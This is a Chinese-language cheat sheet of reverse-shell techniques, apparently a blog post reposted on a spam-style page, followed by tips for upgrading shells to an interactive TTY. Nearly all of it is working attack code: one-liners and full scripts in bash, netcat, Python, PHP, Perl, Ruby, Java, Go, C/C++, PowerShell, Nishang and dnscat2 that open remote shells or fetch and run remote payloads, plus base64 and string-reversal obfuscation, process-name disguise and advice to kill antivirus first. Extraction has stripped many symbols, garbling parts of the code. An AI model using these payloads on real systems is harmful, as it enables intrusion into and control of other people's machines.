当前位置: 首页 > news >正文

网站板块策划wordpress自定义栏目上传图片

网站板块策划,wordpress自定义栏目上传图片,娄底市住房和城乡建设局网站,wordpress 博客 模板反弹shell汇总 文章旨意在于总结各类反弹shell,有不足或漏缺请各位是否指出. 注意有些反弹shell的方法或脚本只适用于Linux或者Windows#xff0c;注意区分相关脚本的编写方式方法。 bash bash -i /dev/[tcp|udp]/[host]/[port] 01 /bin/bash -i …反弹shell汇总 文章旨意在于总结各类反弹shell,有不足或漏缺请各位是否指出. 注意有些反弹shell的方法或脚本只适用于Linux或者Windows注意区分相关脚本的编写方式方法。 bash bash -i /dev/[tcp|udp]/[host]/[port] 01 /bin/bash -i /dev/[tcp/udp]/[host]/[port] 01 21 python3 -c import pty;pty.spawn(/bin/bash) stty rawbase64版 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4xMC4xNC43LzQ0NDQgMD4mMQ}|{base64,-d}|{bash,-i} //其中的base64字符是bash -i /dev/tcp/10.10.14.7/4444 01的base64加密还可以引申一波 基础的反弹指令 echo bash -i /dev/tcp/192.168.43.47/4444 01 | bash我们来给它混淆一下 先给它base64一下 ZWNobyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjQzLjQ3LzQ0NDQgMD4mMSIgfCBiYXNo然后反转一下 oNXYiBCfgISMm4DMgQDN0QzL3QjLzQjL4YTMuITOx8CcjR3L2VGZvAiJASatACazFmYiAyboNWZ就这样套一下也可以再套一层 echo oNXYiBCfgISMm4DMgQDN0QzL3QjLzQjL4YTMuITOx8CcjR3L2VGZvAiJASatACazFmYiAyboNWZ | rev |base64 -d |bash套变量 secho oNXYiBCfgISMm4DMgQDN0QzL3QjLzQjL4YTMuITOx8CcjR3L2VGZvAiJASatACazFmYiAyboNWZ | rev |base64 -d |bash;$s后面还可以套层数这是一种基础的方法还有很多变种可以curl 本质上来说还是bash反弹只不过用curl去远程假造在一些特定情况下可以用。先本地写一个sh文件这里文件名名为5555.sh bash -i /dev/tcp/10.10.16.17/5555 01 然后使用curl去远程加载提前本地开启http curl 10.10.16.17/5555.sh|bash 然后本地开启监听就能收到shell NatCat(nc) 不同版本的nc不一定支持-e nc -e /bin/bash [host] [port]/bin/bash | nc [host] [port]mknod backpipe p nc [host] [port] 0backpipe | /bin/bash 1backpipenc [host] [输入port] | /bin/bash | nc [host] [输出port]rm -f /tmp/p; mknod /tmp/p p nc [host] [port] 0/tmp/当nc版本问题时 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc [host] [port] /tmp/fexec exec 5/dev/tcp/[host]/[port];cat 5 | while read line; do $line 25 5; done exec 20 0196;exec 196/dev/tcp/[host]/[port]; bash 196 196 2196powercat powercat是netcat的powershell版本功能免杀性都要比netcat好用的多。 powershell -c IEX(New-Object System.Net.WebClient).DownloadString(http://10.10.14.9:8000/powercat.ps1);powercat -c 10.10.14.9 -p 4444 -e cmdtelnet telnet [host] [输入port] | /bin/bash | telnet [host] [输出port] cmdrm -f /tmp/p; mknod /tmp/p p telnet [host] [port] 0/tmp/p nc不可用或者/dev/tcp不可用时: mknod backpipe p telnet [host] [port] 0backpipe | /bin/bash 1backpipe python python -c import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((ip,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);脚本 #!/usr/bin/python3 import os import pty import socket lhost lport 4444 def main():s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv(HISTFILE, /dev/null)pty.spawn(/bin/bash)#os.remove(/tmp/.t.py)s.close() if __name__ __main__:main()python -c exec(\import socket, subprocess;s socket.socket();s.connect((ip,port))\nwhile 1: proc subprocess.Popen(s.recv(1024), shellTrue, stdoutsubprocess.PIPE, stderrsubprocess.PIPE, stdinsubprocess.PIPE);s.send(proc.stdout.read()proc.stderr.read())\)msfvenom -f raw -p python/meterpreter/reverse_tcp LHOSTip LPORTport import base64; exec(base64.b64decode(aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCcSScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg)) 上面那段的base64解码为 import socket,struct ssocket.socket(2,1) s.connect((192.168.90.1,1234)) lstruct.unpack(I,s.recv(4))[0] ds.recv(4096) while len(d)!l:ds.recv(4096) exec(d,{s:s})python升级完美pty python3 -c import pty;pty.spawn(bash)php php -r exec(/bin/bash -i /dev/tcp/[host]/[port]);php -r $sockfsockopen([host],[port]);exec(/bin/bash -i 3 3 23);配合nc使用其他的也一样: ?php system(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc [host] [port] /tmp/f); ?perl perl -e use Socket;$i[host];$p[port];socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh -i);};不依赖/bin/sh perl -MIO -e $pfork;exit,if($p);$cnew IO::Socket::INET(PeerAddr,[host]:[port]);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_ while;perl -MIO -e $cnew IO::Socket::INET(PeerAddr,[host]:[port]);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_ while;完整perl反弹shell脚本 #!/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL use strict; use Socket; use FileHandle; use POSIX; my $VERSION 1.0;# Where to send the reverse shell. Change these. my $ip 127.0.0.1; my $port 1234;# Options my $daemon 1; my $auth 0; # 0 means authentication is disabled and any# source IP can access the reverse shell my $authorised_client_pattern qr(^127\.0\.0\.1$);# Declarations my $global_page ; my $fake_process_name /usr/sbin/apache;# Change the process name to be less conspicious $0 [httpd];# Authenticate based on source IP address if required if (defined($ENV{REMOTE_ADDR})) {cgiprint(Browser IP address appears to be: $ENV{REMOTE_ADDR});if ($auth) {unless ($ENV{REMOTE_ADDR} ~ $authorised_client_pattern) {cgiprint(ERROR: Your client isnt authorised to view this page);cgiexit();}} } elsif ($auth) {cgiprint(ERROR: Authentication is enabled, but I couldnt determine your IP address. Denying access);cgiexit(0); }# Background and dissociate from parent process if required if ($daemon) {my $pid fork();if ($pid) {cgiexit(0); # parent exits}setsid();chdir(/);umask(0); }# Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname(tcp)); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {cgiprint(Sent reverse shell to $ip:$port);cgiprintpage(); } else {cgiprint(Couldnt open reverse shell to $ip:$port: $!);cgiexit(); }# Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, SOCK); open(STDOUT,SOCK); open(STDERR,SOCK); $ENV{HISTFILE} /dev/null; system(w;uname -a;id;pwd); exec({/bin/sh} ($fake_process_name, -i));# Wrapper around print sub cgiprint {my $line shift;$line . p\n;$global_page . $line; }# Wrapper around exit sub cgiexit {cgiprintpage();exit 0; # 0 to ensure we dont give a 500 response. }# Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage {print Content-Length: . length($global_page) . \r Connection: close\r Content-Type: text\/html\r\n\r\n . $global_page; }ruby 不常用 ruby -rsocket -efTCPSocket.open([host],[port]).to_i;exec sprintf(/bin/sh -i %d %d 2%d,f,f,f) 不依赖/bin/bash ruby -rsocket -e exit if fork;cTCPSocket.new([host],[port]);while(cmdc.gets);IO.popen(cmd,r){|io|c.print io.read}end 适用Windows ruby -rsocket -e cTCPSocket.new([host],[port]);while(cmdc.gets);IO.popen(cmd,r){|io|c.print io.read}end 完整ruby反弹shell脚本(MSF模块自带): #!/usr/bin/env rubyrequire socket require open3#Set the Remote Host IP RHOST 192.168.1.10 #Set the Remote Host Port PORT 6667#Tries to connect every 20 sec until it connects. begin sock TCPSocket.new #{RHOST}, #{PORT} sock.puts We are connected! rescuesleep 20retry end#Runs the commands you type and sends you back the stdout and stderr. beginwhile line sock.getsOpen3.popen2e(#{line}) do | stdin, stdout_and_stderr |IO.copy_stream(stdout_and_stderr, sock)end end rescueretry endjava base64写法 Runtime.getRuntime().exec(bash -c {echo,YmFzaCAtaSAJi9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDAJjE}|{base64,-d}|{bash,-i}); Runtime r Runtime.getRuntime(); Process p r.exec(new String[]{/bin/bash,-c,exec 5/dev/tcp/[host]/[port];cat 5 | while read line; do $line 25 5; done}); p.waitFor(); 完整过程 编辑ReverseShell.javapublic class ReverseShell { /** * param args * throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r Runtime.getRuntime(); String cmd[] {/bin/bash,-c,exec 5/dev/tcp/[host]/[port];cat 5 | while read line; do $line 25 5; done}; Process p r.exec(cmd); p.waitFor(); } }编译执行javac ReverseShell,java java ReverseShell得到shell go 有个工具https://github.com/TheKingOfDuck/ReverseGoShell/ 使用说明https://blog.thekingofduck.com/post/ReverseGoShell/ 脚本执行 编写脚本// filename: ReverseShell.go package main import ( net // requirement to establish a connection os // requirement to call os.Exit() os/exec // requirement to execute commands against the target system ) func main() { // Connecting back to the attacker // If it fails, we exit the program conn, err : net.Dial(tcp, 192.168.0.23:2233) if err ! nil { os.Exit(1) } // Creating a /bin/sh process cmd : exec.Command(/bin/sh) // Connecting stdin and stdout // to the opened connection cmd.Stdin conn cmd.Stdout conn cmd.Stderr conn // Run the process cmd.Run() }编译执行 $ go build ReverseShell.go $ ./ReverseShell 得到shell 还有更为完整的版本详情可以看https://www.cnblogs.com/zhangb8042/articles/10795123.html gcc(c) 脚本linux版本//filename:ReverseShell.c #include stdio.h #include unistd.h #include sys/types.h #include sys/socket.h #include arpa/inet.h #include signal.h #include dirent.h #include sys/stat.h int tcp_port 6666; char *ip 192.168.17.129; void reverse_shell(){ int fd; if ( fork() 0){ struct sockaddr_in addr; addr.sin_family AF_INET; addr.sin_port htons(tcp_port); addr.sin_addr.s_addr inet_addr(ip); fd socket(AF_INET, SOCK_STREAM, 0); if ( connect(fd, (struct sockaddr*)addr, sizeof(addr)) ){ exit(0); } dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execve(/bin/bash, 0LL, 0LL); } return; } void main(int argc, char const *argv[]) { reverse_shell(); return 0; }kali开启监听nc -lvvp 6666gcc编译gcc ReverseShell.c -o ReverseShell成功得到shell g(c) 此方法可能被杀使用前先查看目标上是否有杀软先给进程kill掉tasklisttaskkill #include iostream #include winsock2.h #include windows.h #include ws2tcpip.h #include stdio.h #include synchapi.h using namespace std;SOCKET Winsock; WORD wVersionRequested; WSADATA wsaData; struct sockaddr_in hax; // 地址结构 char ip_addr[16] *.*.*.*; // ip地址或者主机名 char port[6] 8888; // 端口 // 指定新进程主窗口的特性 STARTUPINFO ini_processo;// 返回有关新进程及其主线程的信息 PROCESS_INFORMATION processo_info;int __cdecl main(){ int err;while(1){err WSAStartup(MAKEWORD(2, 2), wsaData);if(err ! 0){printf(WSAStartup failed with error: %d\n, err);return 1;}Winsock WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);if(WinsockINVALID_SOCKET){wprintf(LWSASocket function failed with error %d\n, WSAGetLastError() );}else{struct hostent *host; // 黑客主机信息host gethostbyname(ip_addr);strcpy_s(ip_addr, inet_ntoa(*((struct in_addr *)host-h_addr)));hax.sin_family AF_INET;hax.sin_port htons(atoi(port));hax.sin_addr.s_addr inet_addr(ip_addr);memset(hax.sin_zero, 0, 8);err connect(Winsock, (struct sockaddr *)hax, sizeof(struct sockaddr));if (err SOCKET_ERROR) {wprintf(Lconnect function failed with error: %ld\n, WSAGetLastError());return 1;}else{memset(ini_processo, 0, sizeof(ini_processo)); //初始化结构体ini_processo.cb sizeof(ini_processo);ini_processo.dwFlags STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // 重定向隐藏窗口// 将标准输入、输出、错误重定向到socket句柄ini_processo.hStdInput ini_processo.hStdOutput ini_processo.hStdError (HANDLE)Winsock;TCHAR cmd[255] TEXT(cmd.exe);CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, ini_processo, processo_info);return 0;}err closesocket((SOCKET)Winsock);if(err SOCKET_ERROR){wprintf(Lclosesocket function failed with error: %ld\n, WSAGetLastError());WSACleanup();return 1;}WSACleanup();return 0;}Sleep(30000); //休眠30s}return 0; } 使用如下命令编译 g reverse_shell_win.cpp -static -lwsock32 -lws2_32 -o reverse_shell_win.exe 在攻击机上监听端口 nc -lvp 8888 openssl加密反弹shell 在计算机网络上OpenSSL 是一个开放源代码的软件库包应用程序可以使用这个包来进行安全通信避免窃听同时确认另一端连接者的身份。不加密就跟裸奔一样。 首先生成自签名证书输入的时候默认回车即可openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes-newkey rsa:2048选项声明了使用RAS算法生成2048位的私钥。 -nodes选项表明我们不使用密码加密私钥。 -keyout key.key:生成私钥 -out cert.pem生成pem证书服务端监听8888端口openssl s_server -quiet -key key.pem -cert cert.pem -port 8888Linux下使用mkfifo进行反弹shell(使用openssl单向认证)mkfifo /tmp/s; /bin/sh -i /tmp/s 21 | openssl s_client -quiet -connect [host]:[port] /tmp/s; rm /tmp/s openssl单/双向认证参考https://blog.csdn.net/go_home_look/article/details/107238103 windows不推荐使用此方法建议直接写webshell。当然Windows下也是可以的这里做个参考 服务端开启两个监听从 ip:port1 获取命令发送给 cmd.exe执行然后结果返回到 ip:port2。openssl s_server -quiet -key key.pem -cert cert.pem -port [port1] openssl s_server -quiet -key key.pem -cert cert.pem -port [port2]客户端执行openssl s_client -quiet -connect [host]:[port1] | cmd.exe | openssl s_client -quiet -connect [host]:[port2]在服务端的[port1]的窗口发送命令,然后服务端[port2]的窗口会收到执行结果 lua lua -e require(socket);require(os);tsocket.tcp();t:connect(ip,port);os.execute(/bin/sh -i 3 3 23); lua -e local srequire(socket);local tassert(s.tcp());t:connect(ip,port);while true do local r,xt:receive();local fassert(io.popen(r,r));local bassert(f:read(*a));t:send(b);end;f:close();t:close(); awk awk是一种处理文本文件的语言是一种解释型的编程语言可以使用awk来处理反弹的命令。 什么是awk 监听端 nc -nlvp 1231 被监听端 cp /usr/bin/awk /home/a (复制一个awk一般情况下黑客如果做这一步是为了防止被检测这一步可以不用做直接用awk执行也是可以的) /home/a BEGIN{s/inet/tcp/0/[host]/[port] BEGIN语句块在程序开始的使用执行它只执行一次BEGIN是awk的关键字这个地方这条和下一条语句是拆开的也可以合并在一起执行注意合在一起执行的话这条语句后面要加分号比如看下面gawk我会合并执行 for(;s|getline c;close(c))while (c|getline)print|s;close(s)} (与其他C系语言一样awk也有for循环getline命令表示让awk读取下一行内容close()函数是内建函数) gawk gawk是GNU所做的awk之后不断地更新迭代gawk 包含 awk 的所有功能。 监听端 nc -nlvp 1231 被监听端: gawk BEGIN{s/inet/tcp/0/[host]/[port];for(;s|getline c;close(c))while(c|getline)print|s;close(s)} socat tcp 接收端输入 ./socat TCP-LISTEN:ip - 发送端输入 ./socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:ip:portudp socat udp-connect:攻击者ip:端口 exec:bash -li,pty,stderr,sane 21/dev/null MSF 1.msconsole 管理生成的exp 管理反弹的shell 通过反弹的shell进行后渗透。。。。 2.msfvenom 制作木马 3.msfencode 对木马进行编码 4.Auxiliary 辅助模块 5.meterpreter 连接 Cobalt strike 这个就不用多说了 Nishang反弹shell Nishang是一个基于PowerShell的攻击框架集合了一些PowerShell攻击脚本和有效载荷可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell Reverse TCP Shell 攻击机 nc -lvp [port] 目标机 powershell IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress [hots] -port [port] 或者将nishang下载到攻击者本地然后攻击者开一个http服务 powershell IEX (New-Object Net.WebClient).DownloadString(http://[host]/nishang/Shells/Invoke-PowerShellTcp.ps1);Invoke-PowerShellTcp -Reverse -IPAddress [host] -port [port] Reverse UDP Shell 攻击者开启监听nc -lvup [port]目标机powershell IEX (New-Object Net.WebClient).DownloadString(http://[host]/nishang/Shells/Invoke-PowerShellUdp.ps1); Invoke-PowerShellUdp -Reverse -IPAddress [host] -port [port] Reverse ICMP Shell 需要利用icmpsh_m.py和nishang中的Invoke-PowerShellIcmp.ps1 来反弹ICMP shell。 首先攻击端下载icmpsh_m.py文件icmpsh_m.py Usage python icmpsh_m.py [Attacker IP] [Victim IP]攻击者执行sysctl -w net.ipv4.icmp_echo_ignore_all1 #忽略所有icmp包 python icmpsh_m.py [Attacker IP] [Victim IP] #开启监听目标机执行powershell IEX (New-Object Net.WebClient).DownloadString(http://[host]/nishang/Shells/Invoke-PowerShellIcmp.ps1);Invoke-PowerShellIcmp -IPAddress [host] 自定义powershell函数反弹shell 攻击机nc -lvp [port]目标机powershell -nop -c $client New-Object Net.Sockets.TCPClient([host],[port]);$stream $client.GetStream(); [byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String ); $sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()或者保存为lltest_tcp.ps1文件powershell IEX (New-Object Net.WebClient).DownloadString(http://[host]/lltest_tcp.ps1);Invoke-lltestTcplltest_tcp.ps1 如下function Invoke-lltestTcp { $client New-Object Net.Sockets.TCPClient([host],[port]) $stream $client.GetStream();[byte[]]$bytes 0..65535|%{0} while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback (iex $data 21 | Out-String ) $sendback2 $sendback PS (pwd).Path $sendbyte ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() } dnscat2 反弹DNS shell dnscat2是一个DNS隧道旨在通过DNS协议创建加密的命令和控制CC通道。dnscat2分为两部分客户端和服务器。dnscat2客户端采用C语言编写服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell). 利用dnscat2 和 dnscat2-powershell实现反弹DNS shell: 攻击机ruby dnscat2.rb --dns domainlltest.com,host192.168.159.129 --no-cache -e open-e open 不使用加密连接默认使用加密 ruby dnscat2.rb —help 查看帮助目标机执行powershell IEX (New-Object System.Net.Webclient).DownloadString(https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1);Start-Dnscat2 -Domain lltest.com -DNSServer [host]成功反弹shell后攻击者session -i 1 #进入到session 1 shell #执行之后会新生成一个session 需要通过session -i 2 切换 session -i 2 补充详情 还有一些比较玄学的东西这里列举一波可能有点老但是可能会有用所以这里还是做一个小记录以备不时之需要。 Empire 结合office反弹shell Empire基于powershell的后渗透攻击框架可利用office 宏、OLE对象插入批处理文件、HTML应用程序(HTAs)等进行反弹shell 利用office OLE对象插入bat文件反弹shell PowerSploit DLL注入反弹shell 实现交互式shell的几种方法 假设一个情况如果当前拿到shell之后我们想要使用vim、su或者想要tab补全代码、ctrl c结束当前行代码、或者使用快捷键使用上一条命令这个时候这个shell并不会对我们的操作进行响应那么这个时候就需要升级shell成为交互式完美shell使其跟我们常规命令行操作一样 python pty python3 -c import pty; pty.spawn(/bin/bash) python3 -c __import__(subprocess).call([/bin/bash]) 但是当前情况还是不能补全代码得用stty来进行优化来转换成完美shell 在执行完python命令之后按下Ctrlz Linux 中Ctrl c/d/z 看着都差不多但是还是有不一样的含义 Ctrl c 强制中断程序的执行进程终止 Ctrl d 发送EOF信号很多程序接到这个信号后会停止 Ctrl z 将任务中止其实就是将这个任务暂停 按下Ctrlz之后nc反弹的shell放入了后台界面退回到了攻击主机原本的shell echo $TERM 获取 term值stty -a 获取 rows 和 columns 的值stty raw -echo 关闭输入回显fg 进入前台就是把刚才中止的nc连接捡回来resetexport SHELLbashexport TERM[前面获取的term值]stty [前面获取的rows和columns值] 这一套在ios系统里面不起作用但在kali当中时可以完全解决的。 升级nc为交互shell 老实话没有什么区别就上面那样一样的。 使用socat socat是类Unix系统下的一个工具可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。缺点也很明显只能在linux下面运行。 攻击机 # 首先安装 $ sudo apt install socat # 执行 $ socat file:tty,raw,echo0 tcp-listen:[port] 目标机 # 把socat上传到目标机器上或者直接下载 $ wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat # 运行 $ chmod x /tmp/socat $ /tmp/socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:[host]:[port] 这种方式基本和ssh类似ctrlC也不会直接断开。 script获取pty 我们可以使用 Linux 系统下的 script 命令在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim $ script /dev/null 如果不加 /dev/null 的话会在当前路径下生成一个名字是 typescript 的文件记录着在 script 生命周期里你执行的所有命令和结果。 demo: C:\Users\ λ nc -lvvp 4444 listening on [any] 4444 ... connect to [192.168.2.134] from DESKTOP-IBUUT6H.lan [192.168.2.134] 30567 ubuntuubuntu:~$ tty tty not a tty ubuntuubuntu:~$ script /dev/null script /dev/null Script started, file is /dev/null ubuntuubuntu:~$ tty tty /dev/pts/1 小知识点总结 关于Linux中#!/bin/bash和#!/bin/sh的区别 #! #!:是一个特殊的表示符其后跟着解释此脚本的shell路径。 除第一行外脚本中所有以“#”开头的行都是注释。 #!/bin/bash或#!/bin/sh只能放在第一行如果后面还有#!(只要不是在第一行)那么只能看成是注释。运行之前需要设置sh的运行权限chmod 777 *当source命令执行有问题时bash继续执行下面命令。系统默认的shell是bash。#!后面的路径一定要正确不正确会报错(这个文件不会运行,提示路径不存在)。 区别 /bin/sh指向dash,/bin/bash指向bashdash相当于bash的精简版(dash不能使用let、source 等命令) 有的文章上说,说是 #!/bin/sh 的脚本,出错之后不会继续运行,#!/bin/bash的脚本,出错之后会继续运行,我在Ubuntu上试了一下...#!/bin/sh 的脚本还是继续运行了; 若是想出错之后停止运行,在#!行之后添加一行set -e,这样出错之后脚本就会停止了 GNU/Linux操作系统中的/bin/sh本是bash (Bourne-Again Shell) 的符号链接但鉴于bash过于复杂有人把bash从NetBSD移植到Linux并更名为dash (Debian Almquist Shell)并建议将/bin/sh指向它以获得更快的脚本执行速度。Dash Shell 比Bash Shell小的多符合POSIX标准。 Ubuntu继承了Debian所以从Ubuntu 6.10开始默认是Dash Shell。 所以也就是在Ubuntu中可以认为/bin/sh就是/bin/dash, 如果打算使用bash, 可直接将/bin/sh软链接到/bin/bash. rootb3fe92a89f30:/# ll -h /bin/sh /bin/bash -rwxr-xr-x 4 root root 1.2M Feb 25 12:03 /bin/bash* lrwxrwxrwx 1 root root 4 Jul 18 2019 /bin/sh - dash* 应该说/bin/sh与/bin/bash虽然大体上没什么区别但仍存在不同的标准。标记为#!/bin/sh的脚本不应使用任何POSIX没有规定的特性 (如let等命令, 但#!/bin/bash可以)。Debian曾经采用/bin/bash更改/bin/dash目的使用更少的磁盘空间、提供较少的功能、获取更快的速度。但是后来经过shell脚本测试存在运行问题。因为原先在bash shell下可以运行的shell script (shell 脚本)在/bin/sh下还是会出现一些意想不到的问题不是100%的兼用。 上面可以这样理解使用man sh命令和man bash命令去观察可以发现sh本身就是dash也就更好的说明集成Debian系统之后的更改。 在Ubuntu上,/bin/sh类似/bin/bash的精简版,有不少功能不能用,Ubuntu默认是/bin/bash
http://www.pierceye.com/news/447170/

相关文章:

  • 网站没有做301的后果是什么苏州工业园区两学一做教育网站
  • 品牌网站建设定位湖南做网站的公司有哪些
  • mvc做的网站郑州作网站
  • 门户网站栏目建设购物类网站开发
  • 专业的网站建设企业新浪网 网站建设
  • 长春网站建设wang汕头网站建设网站
  • 自助建站网站哪个好网站做nat映射需要哪些端口
  • 免费手机网站平台注册嘉兴建站公司
  • 什么网站可以做兼职美工网站建设方案500字
  • 宁波做网站优化网站专题页怎么做
  • 西安网站建设q.479185700強网站改版301是什么意思
  • 网站推广服务 商务服务网站建设官方网站
  • 建设电影网站的关键苏州网站建设业务的公司
  • 水头哪里有做网站的店铺装修设计软件
  • 做网站的大骗子男女做爰视频免费网站
  • 建设一个网站选择的服务器安徽建站
  • 网站制作网站价格用网页制作个人网站
  • 衡水做网站报价网络工程毕设做网站
  • 做网站设计怎么样网站建设先进技术
  • 廊坊cms建站系统wd wordpress
  • vue做网站的好处是什么顺企网下载
  • 在线建站模板下载网站的软件
  • 阿里云网站全部清空怎么做重庆市渝快办官网
  • 关于网站优化的文章室内设计公司排名都有哪些
  • 英文外贸网站建设中国建筑出版在线官网app
  • 浙江网站建设服务公司shopex网站搬家
  • 网站服务器无法访问百姓装潢上海门店具体地址
  • 怎么做网站推广怎么样网页截图快捷键是哪个
  • 常州网站制作费用如何搭建网站的支付接口
  • 网站会员体系网站后台都有哪些